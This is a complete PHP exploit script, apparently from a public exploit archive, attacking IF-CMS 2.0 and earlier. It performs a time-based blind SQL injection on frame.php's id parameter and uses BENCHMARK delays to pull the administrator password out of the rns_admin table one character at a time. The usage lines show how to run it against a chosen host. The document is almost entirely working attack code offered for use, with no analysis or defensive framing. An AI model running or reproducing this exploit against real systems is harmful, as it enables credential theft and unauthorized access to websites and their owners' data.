--+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

<?php

function query ($username, $char, $pos)
{
  //Increase benchmark when exploit prints uncorrect passwords

  $query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
     "nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
  $query = str_replace (" ", "%20", $query);
  $query = str_replace ("'", "%27", $query);
  return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
  $char = ord ($char);
  $fp = fsockopen ($hostname, 80);
  $get =  "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
    "Host: {$hostname}\r\n".
    "Connection: Close\r\n\r\n";
    $a = time ();
  fputs ($fp, $get);
  while (!feof ($fp))
    fgets ($fp, 1024);

  fclose ($fp);
  $a = time () - $a;
  if ($a > 4)
    return true;
  else
    return false;

}

function usage ()
{
  echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
       "\n[+] Author  : darkjoker".
       "\n[+] Site    : http://darkjoker.net23.net".
       "\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
       "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
       "\n[+] Ex.     : php xpl.php localhost /IF-CMS root".
       "\n\n";
  exit ();
}

if ($argc != 4)
  usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
  if (exploit ($hostname, $path, $user, $key [$chr], $pos))
  {
    echo $key [$chr];
    $chr = 0;
    $pos++;
  }
  else
    $chr++;
}
echo "\n\n";
?>